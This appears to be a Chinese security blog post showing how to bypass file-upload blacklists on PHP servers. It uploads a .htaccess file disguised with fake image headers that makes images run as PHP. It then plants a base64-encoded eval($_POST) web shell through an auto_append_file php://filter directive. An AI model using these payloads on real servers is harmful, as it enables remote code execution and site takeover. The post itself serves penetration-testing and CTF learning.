文件上传--利用.htaccess绕过黑名单

前言

在很多时候有限制文件上传的类型,而黑名单ban了很多相关的后缀,如果没有警用.htaccee那么就能触发getshell

.htaccess可以把.jpg解析成php

语法

AddType application/x-httpd-php .jpg

PHP5

图像相关的信息检测常用getimagesize( )函数,那么对于.htaccess文件来说,注释有#%00这2个符号,图片头没有#,但是有%00的文件

比如

jp2 格式如下

00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必须)

在图中widthC6

hight6F,修改对应位置的值即可返回对应的长度

ico格式如下

00 00 01 00(必须) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20

所以如果不限制大小可以在.htaccess文件面前加上

aaaaaa

然后用winhex改成

00 00 01 00 0a 0d

bwmp格式如下

00 00 01 01 

表示width1, hight为1

00 00 8A 39 8A 39

表示width1337, hight1337

如果大小值>80,那么就会取2位,否则只会取1位

有了上面的几种情况就可以上传.htaccess文件,并符合其语法

接下来上传个图片马即可

然后直接访问图片就被解析成php代码了

PHP7以后

有时候有这种情况把<?给waf了,在php7之前可以按上面的<script language>来达到绕过<?php这种情况,但是在php7之后这些标签都是被移除了,因此可以靠base64解码来达到目的

<?php eval($_POST[1]); ?>
base64编码后
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

加上文件头,这里用wbmp
00 00 01 01

因为base64是4个一组,而上面的wbmp头文件刚好4个字节,所以不用补充,如果是png则需要补充很多...

这里4个字节的图片头建议用gif,刚好4个字节

47 49 46 38 

所以形成1.gifbase64

GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

接下来.htaccess的格式是

00 00 01 01(进hex进制里面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"

这里有个2个坑

坑1:因为是黑名单,如果上传的文件是能被服务器解析的比如jpg能被解析成图片而.abc这样的后缀不会被解析,这里有个区别

.jpg这种能被解析的文件,在被文件包含时文件头要和扩展名一致才能解析

.abc这种不会被解析的文件,在被文件包含时文件头任意即可

坑2:在Server APICGI/FastCGI 时以上的.htaccess脚本是报500错的,我在windows下的phpstudy就是这种解析方式。

但是在linux下一般情况是Server APIApache 2.0 Handler ,因此以上的.htaccess是能够被解析的

参考链接:

https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg

https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/

posted @ 2020-06-13 10:24  sijidou  阅读(3901)  评论(2编辑  收藏  举报